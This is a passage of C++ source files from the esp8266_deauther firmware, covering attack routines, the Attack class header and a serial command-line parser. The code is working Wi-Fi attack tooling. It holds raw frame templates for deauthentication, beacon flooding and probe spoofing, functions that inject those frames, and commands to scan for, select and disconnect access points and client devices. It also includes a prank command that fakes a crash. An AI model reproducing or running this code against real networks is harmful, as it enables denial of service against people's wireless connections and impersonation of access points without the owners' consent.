if (sendPacket(probePacket, packetSize, ch, false)) {
probe.time = currentTime;
probe.packetCounter++;
return true;
}
return false;
}
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {
// Serial.println(bytesToStr(packet, packetSize));
// set channel
setWifiChannel(ch, force_ch);
// sent out packet
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
if (sent) ++tmpPacketRate;
return sent;
}
void Attack::enableOutput() {
output = true;
prntln(A_ENABLED_OUTPUT);
}
void Attack::disableOutput() {
output = false;
prntln(A_DISABLED_OUTPUT);
}
uint32_t Attack::getDeauthPkts() {
return deauthPkts;
}
uint32_t Attack::getBeaconPkts() {
return beaconPkts;
}
uint32_t Attack::getProbePkts() {
return probePkts;
}
uint32_t Attack::getDeauthMaxPkts() {
return deauth.maxPkts;
}
uint32_t Attack::getBeaconMaxPkts() {
return beacon.maxPkts;
}
uint32_t Attack::getProbeMaxPkts() {
return probe.maxPkts;
}
uint32_t Attack::getPacketRate() {
return packetRate;
}
================================================
FILE: esp8266_deauther/Attack.h
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "Accesspoints.h"
#include "Stations.h"
#include "SSIDs.h"
#include "Scan.h"
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern uint8_t wifi_channel;
extern uint8_t broadcast[6];
extern uint32_t currentTime;
extern bool macBroadcast(uint8_t* mac);
extern void getRandomMac(uint8_t* mac);
extern void setOutputPower(float dBm);
extern String macToStr(const uint8_t* mac);
extern String bytesToStr(const uint8_t* b, uint32_t size);
extern void setWifiChannel(uint8_t ch, bool force);
extern bool writeFile(String path, String& buf);
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
class Attack {
public:
Attack();
void start();
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
void stop();
void update();
void enableOutput();
void disableOutput();
void status();
String getStatusJSON();
bool deauthAP(int num);
bool deauthStation(int num);
bool deauthName(int num);
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
bool sendBeacon(uint8_t tc);
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
bool sendProbe(uint8_t tc);
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch);
bool isRunning();
uint32_t getDeauthPkts();
uint32_t getBeaconPkts();
uint32_t getProbePkts();
uint32_t getDeauthMaxPkts();
uint32_t getBeaconMaxPkts();
uint32_t getProbeMaxPkts();
uint32_t getPacketRate();
private:
void deauthUpdate();
void deauthAllUpdate();
void beaconUpdate();
void probeUpdate();
void updateCounter();
bool running = false;
bool output = true;
struct AttackType {
bool active = false; // if attack is activated
uint16_t packetCounter = 0; // how many packets are sent per second
uint16_t maxPkts = 0; // how many packets should be sent per second
uint8_t tc = 0; // target counter, i.e. which AP or SSID
uint32_t time = 0; // time last packet was sent
};
AttackType deauth;
AttackType beacon;
AttackType probe;
bool deauthAll = false;
uint32_t deauthPkts = 0;
uint32_t beaconPkts = 0;
uint32_t probePkts = 0;
uint32_t tmpPacketRate = 0;
uint32_t packetRate = 0;
uint8_t apCount = 0;
uint8_t stCount = 0;
uint8_t nCount = 0;
int8_t tmpID = -1;
uint16_t packetSize = 0;
uint32_t attackTime = 0; // for counting how many packets per second
uint32_t attackStartTime = 0;
uint32_t timeout = 0;
// random mac address for making the beacon packets
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
};
uint8_t probePacket[68] = {
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
/* 60 */ 0x82, // 1(B)
/* 61 */ 0x84, // 2(B)
/* 62 */ 0x8b, // 5.5(B)
/* 63 */ 0x96, // 11(B)
/* 64 */ 0x24, // 18
/* 65 */ 0x30, // 24
/* 66 */ 0x48, // 36
/* 67 */ 0x6c // 54
};
uint8_t beaconPacket[109] = {
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
// Fixed parameters
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
// Tagged parameters
// SSID parameters
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, // SSID
// Supported Rates
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
/* 72 */ 0x82, // 1(B)
/* 73 */ 0x84, // 2(B)
/* 74 */ 0x8b, // 5.5(B)
/* 75 */ 0x96, // 11(B)
/* 76 */ 0x24, // 18
/* 77 */ 0x30, // 24
/* 78 */ 0x48, // 36
/* 79 */ 0x6c, // 54
// Current Channel
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
/* 82 */ 0x01, // Current Channel
// RSN information
/* 83 - 84 */ 0x30, 0x18,
/* 85 - 86 */ 0x01, 0x00,
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
/* 91 - 92 */ 0x02, 0x00,
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
/* 101 - 102 */ 0x01, 0x00,
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
/* 107 - 108 */ 0x00, 0x00
};
};
================================================
FILE: esp8266_deauther/CLI.cpp
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "CLI.h"
#include <LittleFS.h>
#include "settings.h"
#include "wifi.h"
/*
Shitty code used less resources so I will keep this clusterfuck as it is,
but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI
*/
CLI::CLI() {
list = new SimpleList<String>;
queue = new SimpleList<String>;
}
CLI::~CLI() {}
void CLI::load() {
String defaultValue = str(CLI_DEFAULT_AUTOSTART);
checkFile(execPath, defaultValue);
execFile(execPath);
}
void CLI::load(String filepath) {
execPath = filepath;
load();
}
void CLI::enable() {
enabled = true;
prntln(CLI_SERIAL_ENABLED);
}
void CLI::disable() {
enabled = true;
prntln(CLI_SERIAL_DISABLED);
}
void CLI::update() {
// when serial available, read input
if (Serial.available() > 0) {
String input = Serial.readStringUntil('\n');
exec(input);
}
// when queue is not empty, delay is off and no scan is active, run it
else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) {
String s = queue->shift();
exec(s);
}
}
void CLI::stop() {
queue->clear();
prntln(CLI_STOPPED_SCRIPT);
}
void CLI::enableDelay(uint32_t delayTime) {
delayed = true;
this->delayTime = delayTime;
delayStartTime = millis();
}
void CLI::exec(String input) {
// quick exit when input is empty
if (input.length() == 0) return;
// check delay
if (delayed && (millis() - delayStartTime > delayTime)) {
delayed = false;
prntln(CLI_RESUMED);
}
// when delay is on, add it to queue, else run it
if (delayed) {
queue->add(input);
} else {
runLine(input);
}
}
void CLI::execFile(String path) {
String input;
if (readFile(path, input)) {
String tmpLine;
char tmpChar;
input += '\n';
while (!queue->isEmpty()) {
input += queue->shift();
input += '\n';
}
for (int i = 0; i < input.length(); i++) {
tmpChar = input.charAt(i);
if (tmpChar == '\n') {
queue->add(tmpLine);
tmpLine = String();
} else {
tmpLine += tmpChar;
}
}
queue->add(tmpLine);
}
}
void CLI::error(String message) {
prnt(CLI_ERROR);
prntln(message);
}
void CLI::parameterError(String parameter) {
prnt(CLI_ERROR_PARAMETER);
prnt(parameter);
prntln(DOUBLEQUOTES);
}
bool CLI::isInt(String str) {
if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true;
for (uint32_t i = 0; i < str.length(); i++)
if (!isDigit(str.charAt(i))) return false;
return true;
}
int CLI::toInt(String str) {
if (eqls(str, STR_TRUE)) return 1;
else if (eqls(str, STR_FALSE)) return 0;
else return str.toInt();
}
uint32_t CLI::getTime(String time) {
int value = time.toInt();
if (value < 0) value = -value;
if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000;
else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) ||
(time.charAt(time.length() - 1) == M)) value *= 60000;
return value;
}
bool CLI::eqlsCMD(int i, const char* keyword) {
return eqls(list->get(i).c_str(), keyword);
}
void CLI::runLine(String input) {
String tmp;
for (int i = 0; i < input.length(); i++) {
// when 2 semicolons in a row without a backslash escaping the first
if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) &&
(input.charAt(i - 1) != BACKSLASH)) {
runCommand(tmp);
tmp = String();
i++;
} else {
tmp += input.charAt(i);
}
}
tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON);
if (tmp.length() > 0) runCommand(tmp);
}
void CLI::runCommand(String input) {
input.replace(String(NEWLINE), String());
input.replace(String(CARRIAGERETURN), String());
list->clear();
// parse/split input in list
String tmp;
bool withinQuotes = false;
bool escaped = false;
char c;
for (uint32_t i = 0; i < input.length() && i < 512; i++) {
c = input.charAt(i);
// when char is an unescaped
if (!escaped && (c == BACKSLASH)) {
escaped = true;
}
// (when char is a unescaped space AND it's not within quotes) OR char is \r or \n
else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) {
// when tmp string isn't empty, add it to the list
if (tmp.length() > 0) {
list->add(tmp);
tmp = String(); // reset tmp string
}
}
// when char is an unescaped "
else if ((c == DOUBLEQUOTES) && !escaped) {
// update wheter or not the following chars are within quotes or not
withinQuotes = !withinQuotes;
if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add
// a space
}
// add character to tmp string
else {
tmp += c;
escaped = false;
}
}
// add string if something is left from the loop above
if (tmp.length() > 0) list->add(tmp);
// stop when input is empty/invalid
if (list->size() == 0) return;
// print comments
if (list->get(0) == str(CLI_COMMENT)) {
prntln(input);
return;
}
if (settings::getCLISettings().serial_echo) {
// print command
prnt(CLI_INPUT_PREFIX);
prntln(input);
}
if (list->size() == 0) return;
// ===== HELP ===== //
if (eqlsCMD(0, CLI_HELP)) {
prntln(CLI_HELP_HEADER);
prntln(CLI_HELP_HELP);
prntln(CLI_HELP_SCAN);
prntln(CLI_HELP_SHOW);
prntln(CLI_HELP_SELECT);
prntln(CLI_HELP_DESELECT);
prntln(CLI_HELP_SSID_A);
prntln(CLI_HELP_SSID_B);
prntln(CLI_HELP_SSID_C);
prntln(CLI_HELP_NAME_A);
prntln(CLI_HELP_NAME_B);
prntln(CLI_HELP_NAME_C);
prntln(CLI_HELP_SET_NAME);
prntln(CLI_HELP_ENABLE_RANDOM);
prntln(CLI_HELP_DISABLE_RANDOM);
prntln(CLI_HELP_LOAD);
prntln(CLI_HELP_SAVE);
prntln(CLI_HELP_REMOVE_A);
prntln(CLI_HELP_REMOVE_B);
prntln(CLI_HELP_ATTACK);
prntln(CLI_HELP_ATTACK_STATUS);
prntln(CLI_HELP_STOP);
prntln(CLI_HELP_SYSINFO);
prntln(CLI_HELP_CLEAR);
prntln(CLI_HELP_FORMAT);
prntln(CLI_HELP_PRINT);
prntln(CLI_HELP_DELETE);
prntln(CLI_HELP_REPLACE);
prntln(CLI_HELP_COPY);
prntln(CLI_HELP_RENAME);
prntln(CLI_HELP_RUN);
prntln(CLI_HELP_WRITE);
prntln(CLI_HELP_GET);
prntln(CLI_HELP_SET);
prntln(CLI_HELP_RESET);
prntln(CLI_HELP_CHICKEN);
prntln(CLI_HELP_REBOOT);
prntln(CLI_HELP_INFO);
prntln(CLI_HELP_COMMENT);
prntln(CLI_HELP_SEND_DEAUTH);
prntln(CLI_HELP_SEND_BEACON);
prntln(CLI_HELP_SEND_PROBE);
prntln(CLI_HELP_LED_A);
prntln(CLI_HELP_LED_B);
prntln(CLI_HELP_DRAW);
prntln(CLI_HELP_SCREEN_ON);
prntln(CLI_HELP_SCREEN_MODE);
prntln(CLI_HELP_FOOTER);
}
// ===== SCAN ===== //
// scan [<mode>] [-t <time>] [-c <continue-time>] [-ch <channel>]
else if (eqlsCMD(0, CLI_SCAN)) {
uint8_t scanMode = SCAN_MODE_ALL;
uint8_t nextmode = SCAN_MODE_OFF;
uint8_t channel = wifi_channel;
bool channelHop = true;
uint32_t time = 15000;
uint32_t continueTime = 10000;
for (int i = 1; i < list->size(); i++) {
if (eqlsCMD(i, CLI_AP)) scanMode = SCAN_MODE_APS;
else if (eqlsCMD(i, CLI_STATION)) scanMode = SCAN_MODE_STATIONS;
else if (eqlsCMD(i, CLI_ALL)) scanMode = SCAN_MODE_ALL;
else if (eqlsCMD(i, CLI_WIFI)) scanMode = SCAN_MODE_SNIFFER;
else if (eqlsCMD(i, CLI_TIME)) {
i++;
time = getTime(list->get(i));
} else if (eqlsCMD(i, CLI_CONTINUE)) {
i++;
nextmode = scanMode;
continueTime = getTime(list->get(i));
} else if (eqlsCMD(i, CLI_CHANNEL)) {
i++;
if (!eqlsCMD(i, CLI_ALL)) {
channelHop = false;
channel = list->get(i).toInt();
}
} else {
parameterError(list->get(i));
}
}
scan.start(scanMode, time, nextmode, continueTime, channelHop, channel);
}
// ===== SHOW ===== //
else if (eqlsCMD(0, CLI_SHOW)) {
// show selected [<all/aps/stations/names/ssids>]
if (eqlsCMD(1, CLI_SELECT)) {
if (list->size() > 2) {
for (int i = 2; i < list->size(); i++) {
if (eqlsCMD(i, CLI_AP)) accesspoints.printSelected();
else if (eqlsCMD(i, CLI_STATION)) stations.printSelected();
else if (eqlsCMD(i, CLI_NAME)) names.printSelected();
else if (eqlsCMD(i, CLI_ALL)) scan.printSelected();
else parameterError(list->get(i));
}
} else {
scan.printSelected();
}
}
// show [<all/aps/stations/names/ssids>]
else {
if (list->size() > 1) {
for (int i = 1; i < list->size(); i++) {
if (eqlsCMD(i, CLI_AP)) accesspoints.printAll();
else if (eqlsCMD(i, CLI_STATION)) stations.printAll();
else if (eqlsCMD(i, CLI_NAME)) names.printAll();
else if (eqlsCMD(i, CLI_SSID)) ssids.printAll();
else if (eqlsCMD(i, CLI_ALL)) scan.printAll();
else parameterError(list->get(i));
}
} else {
scan.printAll();
}
}
}
// ===== (DE)SELECT ===== //
// select [<type>] [<id>]
// deselect [<type>] [<id>]
else if (eqlsCMD(0, CLI_SELECT) || eqlsCMD(0, CLI_DESELECT)) {
bool select = eqlsCMD(0, CLI_SELECT);
int mode = 0; // aps = 0, stations = 1, names = 2
int id = -1; // -1 = all, -2 name string
if ((list->size() == 1) || eqlsCMD(1, CLI_ALL)) {
select ? scan.selectAll() : scan.deselectAll();
return;
}
if ((list->size() == 2) || eqlsCMD(2, CLI_ALL)) id = -1;
else if (!isInt(list->get(2))) id = -2;
else id = list->get(2).toInt();
if (eqlsCMD(1, CLI_AP)) mode = 0;
else if (eqlsCMD(1, CLI_STATION)) mode = 1;
else if (eqlsCMD(1, CLI_NAME)) mode = 2;
else parameterError(list->get(1));
if (id >= 0) {
if (mode == 0) select ? accesspoints.select(id) : accesspoints.deselect(id);
else if (mode == 1) select ? stations.select(id) : stations.deselect(id);
else if (mode == 2) select ? names.select(id) : names.deselect(id);
} else if (id == -1) {
if (mode == 0) select ? accesspoints.selectAll() : accesspoints.deselectAll();
else if (mode == 1) select ? stations.selectAll() : stations.deselectAll();
else if (mode == 2) select ? names.selectAll() : names.deselectAll();
} else if ((id == -2)) {
String name = list->get(2);
if (mode == 0) select ? accesspoints.select(name) : accesspoints.deselect(name);
else if (mode == 1) select ? stations.select(name) : stations.deselect(name);
else if (mode == 2) select ? names.select(name) : names.deselect(name);
} else {
parameterError(list->get(1) + SPACE + list->get(2));
}
}
// ===== ADD ===== //
else if ((list->size() >= 3) && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_SSID)) {
// add ssid -s [-f]
if (eqlsCMD(2, CLI_SELECT)) {
bool force = eqlsCMD(3, CLI_FORCE);
ssids.cloneSelected(force);
}
// add ssid <ssid> [-wpa2] [-cl <clones>] [-f]
// add ssid -ap <id> [-cl <clones>] [-f]
else {
String ssid = list->get(2);
bool wpa2 = false;
bool force = false;
int clones = 1;
int i = 3;
if (eqlsCMD(2, CLI_AP)) {
ssid = accesspoints.getSSID(list->get(3).toInt());
wpa2 = accesspoints.getEncStr(list->get(3).toInt()) != " - ";
i = 4;
}
while (i < list->size()) {
if (eqlsCMD(i, CLI_WPA2)) wpa2 = true;
else if (eqlsCMD(i, CLI_FORCE)) force = true;
else if (eqlsCMD(i, CLI_CLONES)) {
clones = list->get(i + 1).toInt();
i++;
} else parameterError(list->get(i));
i++;
}
ssids.add(ssid, wpa2, clones, force);
}
}
// add name <name> [-ap <id>] [-s] [-f]
// add name <name> [-st <id>] [-s] [-f]
// add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s] [-f]
else if ((list->size() >= 3) && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_NAME)) {
String name = list->get(2);
String mac;
uint8_t channel = wifi_channel;
String bssid;
bool selected = false;
bool force = false;
for (int i = 3; i < list->size(); i++) {
if (eqlsCMD(i, CLI_MAC)) mac = list->get(i + 1);
else if (eqlsCMD(i, CLI_AP)) mac = accesspoints.getMacStr(list->get(i + 1).toInt());
else if (eqlsCMD(i, CLI_STATION)) {
mac = stations.getMacStr(list->get(i + 1).toInt());
bssid = stations.getAPMacStr(list->get(i + 1).toInt());
}
else if (eqlsCMD(i, CLI_CHANNEL)) channel = (uint8_t)list->get(i + 1).toInt();
else if (eqlsCMD(i, CLI_BSSID)) bssid = list->get(i + 1);
else if (eqlsCMD(i, CLI_SELECT)) {
selected = true;
i--;
} else if (eqlsCMD(i, CLI_FORCE)) {
force = true;
i--;
} else {
parameterError(list->get(i));
i--;
}
i++;
}
if (name.length() == 0) prntln(CLI_ERROR_NAME_LEN);
else if (mac.length() == 0) prntln(CLI_ERROR_MAC_LEN);
else names.add(mac, name, bssid, channel, selected, force);
}
// ===== SET NAME ==== //
// set name <id> <newname>
else if ((list->size() == 4) && eqlsCMD(0, CLI_SET) && eqlsCMD(1, CLI_NAME)) {
names.setName(list->get(2).toInt(), list->get(3));
}
// ===== REPLACE ===== //
// replace name <id> [-n <name>} [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]
else if ((list->size() >= 4) && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_NAME)) {
int id = list->get(2).toInt();
String name = names.getName(id);
String mac = names.getMacStr(id);
uint8_t channel = names.getCh(id);
String bssid = names.getBssidStr(id);
bool selected = names.getSelected(id);
for (int i = 3; i < list->size(); i++) {
if (eqlsCMD(i, CLI_NAME)) name = list->get(i + 1);
else if (eqlsCMD(i, CLI_MAC)) mac = list->get(i + 1);
else if (eqlsCMD(i, CLI_CHANNEL)) channel = (uint8_t)list->get(i + 1).toInt();
else if (eqlsCMD(i, CLI_BSSID)) bssid = list->get(i + 1);
else if (eqlsCMD(i, CLI_SELECT)) {
selected = true;
i--;
} else {
parameterError(list->get(i));
i--;
}
i++;
}
names.replace(id, mac, name, bssid, channel, selected);
}
// replace ssid <id> [-n <name>} [-wpa2]
else if ((list->size() >= 3) && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_SSID)) {
int id = list->get(2).toInt();
String name = ssids.getName(id);
bool wpa2 = false;
for (int i = 3; i < list->size(); i++) {
if (eqlsCMD(i, CLI_NAME)) {
name = list->get(i + 1);
i++;
} else if (eqlsCMD(i, CLI_WPA2)) {
wpa2 = true;
}
}
ssids.replace(id, name, wpa2);
}
// ===== REMOVE ===== //
// remove <type> [-a]
// remove <type> <id>
else if ((list->size() >= 2) && eqlsCMD(0, CLI_REMOVE)) {
if ((list->size() == 2) || (eqlsCMD(2, CLI_ALL))) {
if (eqlsCMD(1, CLI_SSID)) ssids.removeAll();
else if (eqlsCMD(1, CLI_NAME)) names.removeAll();
else if (eqlsCMD(1, CLI_AP)) accesspoints.removeAll();
else if (eqlsCMD(1, CLI_STATION)) stations.removeAll();
else parameterError(list->get(1));
} else {
if (eqlsCMD(1, CLI_SSID)) ssids.remove(list->get(2).toInt());
else if (eqlsCMD(1, CLI_NAME)) names.remove(list->get(2).toInt());
else if (eqlsCMD(1, CLI_AP)) accesspoints.remove(list->get(2).toInt());
else if (eqlsCMD(1, CLI_STATION)) stations.remove(list->get(2).toInt());
else parameterError(list->get(1));
}
}
// ===== RANDOM ===== //
// enable random <interval>
else if (eqlsCMD(0, CLI_ENABLE) && eqlsCMD(1, CLI_RANDOM) && (list->size() == 3)) {
ssids.enableRandom(getTime(list->get(2)));
}
// disable random
else if (eqlsCMD(0, CLI_DISABLE) && eqlsCMD(1, CLI_RANDOM)) {
ssids.disableRandom();
}
// ====== RICE ===== //
// => have you tried putting it into a bowl rice?
// funny command to mess with people, please don't share the info thanks <3
else if (eqlsCMD(0, CLI_RICE)) {
prntln(CLI_RICE_START);
uint32_t i = 0;
uint8_t multi = 1;
uint8_t end = random(80, 99);
if (list->get(1).toInt() > 1) multi = list->get(1).toInt();
while (true) {
if ((i % 10 == 0) && (i > 0)) {
char s[100];
sprintf(s, str(CLI_RICE_OUTPUT).c_str(), i / 10);
prnt(String(s));
if ((i / 10) == end) {
prnt(CLI_RICE_ERROR);
prnt(String(random(16, 255), HEX));
prnt(String(random(16, 255), HEX));
prnt(String(random(16, 255), HEX));
prntln(String(random(16, 255), HEX));
for (int i = 1; i <= 32; i++) {
for (int i = 0; i < 2; i++) {
for (int i = 1; i <= 8; i++) {
prnt(String(random(16, 255), HEX));
prnt(SPACE);
}
prnt(SPACE);
}
prntln();
}
ESP.reset();
} else if ((i / 10) % 10 == 0) {
prnt(CLI_RICE_MEM);
prnt(String(random(16, 255), HEX));
prnt(String(random(16, 255), HEX));
prnt(String(random(16, 255), HEX));
prntln(String(random(16, 255), HEX));
}
}
prnt(POINT);
delay(100 * multi * multi);
i++;
}
}
// ===== LOAD/SAVE ===== //
// save [<type>] [<file>]
// load [<type>] [<file>]
else if ((eqlsCMD(0, CLI_LOAD) || eqlsCMD(0, CLI_SAVE)) && (list->size() >= 1) && (list->size() <= 3)) {
bool load = eqlsCMD(0, CLI_LOAD);
if ((list->size() == 1) || eqlsCMD(1, CLI_ALL)) {
load ? ssids.load() : ssids.save(false);
load ? names.load() : names.save(false);
load ? settings::load() : settings::save(false);
if (!load) scan.save(false);
return;
}
if (list->size() == 3) { // Todo: check if -f or filename
if (eqlsCMD(1, CLI_SSID)) load ? ssids.load(list->get(2)) : ssids.save(true, list->get(2));
else if (eqlsCMD(1, CLI_NAME)) load ? names.load(list->get(2)) : names.save(true, list->get(2));
// else if (eqlsCMD(1, CLI_SETTING)) load ? settings::load(list->get(2)) : settings::save(true, list->get(2));
else parameterError(list->get(1));
} else {
if (eqlsCMD(1, CLI_SSID)) load ? ssids.load() : ssids.save(true);
else if (eqlsCMD(1, CLI_NAME)) load ? names.load() : names.save(true);
else if (eqlsCMD(1, CLI_SETTING)) load ? settings::load() : settings::save(true);
else if ((eqlsCMD(1, CLI_SCAN) || eqlsCMD(1, CLI_AP) || eqlsCMD(1, CLI_STATION)) && !load) scan.save(true);
else parameterError(list->get(1));
}
}
// ===== ATTACK ===== //
// attack [-b] [-d] [-da] [p] [-t <timeout>]
// attack status [<on/off>]
else if (eqlsCMD(0, CLI_ATTACK)) {
if (eqlsCMD(1, CLI_STATUS)) {
if (list->size() == 2) {
attack.status();
} else {
if (eqlsCMD(2, CLI_ON)) attack.enableOutput();
else if (eqlsCMD(2, CLI_OFF)) attack.disableOutput();
else parameterError(list->get(2));
}
return;
}
bool beacon = false;
bool deauth = false;
bool deauthAll = false;
bool probe = false;
bool output = true;
uint32_t timeout = settings::getAttackSettings().timeout * 1000;
for (int i = 1; i < list->size(); i++) {
if (eqlsCMD(i, CLI_BEACON)) beacon = true;
else if (eqlsCMD(i, CLI_DEAUTH)) deauth = true;
else if (eqlsCMD(i, CLI_DEAUTHALL)) deauthAll = true;
else if (eqlsCMD(i, CLI_PROBE)) probe = true;
else if (eqlsCMD(i, CLI_NOOUTPUT)) output = false;
else if (eqlsCMD(i, CLI_TIMEOUT)) {
timeout = getTime(list->get(i + 1));
i++;
}
else parameterError(list->get(i));
}
attack.start(beacon, deauth, deauthAll, probe, output, timeout);
}
// ===== GET/SET ===== //
// get <setting>
else if (eqlsCMD(0, CLI_GET) /*&& (list->size() == 2)*/) {
String _tmp = list->get(1);
const char* str = _tmp.c_str();
if (eqls(str, "settings")) settings::print();
// Version
else if (eqls(str, S_JSON_VERSION)) prntln(DEAUTHER_VERSION);
else if (eqls(str, S_JSON_AUTOSAVE)) prntln(settings::getAutosaveSettings().enabled);
else if (eqls(str, S_JSON_AUTOSAVETIME)) prntln(settings::getAutosaveSettings().time);
// Attack
else if (eqls(str, S_JSON_BEACONCHANNEL)) prntln((int)settings::getAttackSettings().attack_all_ch);
else if (eqls(str, S_JSON_RANDOMTX)) prntln(settings::getAttackSettings().random_tx);
else if (eqls(str, S_JSON_ATTACKTIMEOUT)) prntln(settings::getAttackSettings().timeout);
else if (eqls(str, S_JSON_DEAUTHSPERTARGET)) prntln(settings::getAttackSettings().deauths_per_target);
else if (eqls(str, S_JSON_DEAUTHREASON)) prntln(settings::getAttackSettings().deauth_reason);
else if (eqls(str, S_JSON_BEACONINTERVAL)) prntln((bool)settings::getAttackSettings().beacon_interval);
else if (eqls(str, S_JSON_PROBESPERSSID)) prntln(settings::getAttackSettings().probe_frames_per_ssid);
// WiFi
else if (eqls(str, S_JSON_CHANNEL)) prntln(settings::getWifiSettings().channel);
else if (eqls(str, S_JSON_MACST)) prntln(macToStr(settings::getWifiSettings().mac_st));
else if (eqls(str, S_JSON_MACAP)) prntln(macToStr(settings::getWifiSettings().mac_ap));
// Sniffer
else if (eqls(str, S_JSON_CHTIME)) prntln(settings::getSnifferSettings().channel_time);
else if (eqls(str, S_JSON_MIN_DEAUTHS)) prntln(settings::getSnifferSettings().min_deauth_frames);
// AP
else if (eqls(str, S_JSON_SSID)) prntln(settings::getAccessPointSettings().ssid);
else if (eqls(str, S_JSON_PASSWORD)) prntln(settings::getAccessPointSettings().password);
else if (eqls(str, S_JSON_HIDDEN)) prntln(settings::getAccessPointSettings().hidden);
else if (eqls(str, S_JSON_IP)) prntln(settings::getAccessPointSettings().ip);
// Web
else if (eqls(str, S_JSON_WEBINTERFACE)) prntln(settings::getWebSettings().enabled);
else if (eqls(str, S_JSON_CAPTIVEPORTAL)) prntln(settings::getWebSettings().captive_portal);
else if (eqls(str, S_JSON_WEB_SPIFFS)) prntln(settings::getWebSettings().use_spiffs);
else if (eqls(str, S_JSON_LANG)) prntln(settings::getWebSettings().lang, 3);
// CLI
else if (eqls(str, S_JSON_SERIALINTERFACE)) prntln(settings::getCLISettings().enabled);
else if (eqls(str, S_JSON_SERIAL_ECHO)) prntln(settings::getCLISettings().serial_echo);
// LED
else if (eqls(str, S_JSON_LEDENABLED)) prntln(settings::getLEDSettings().enabled);
// Display
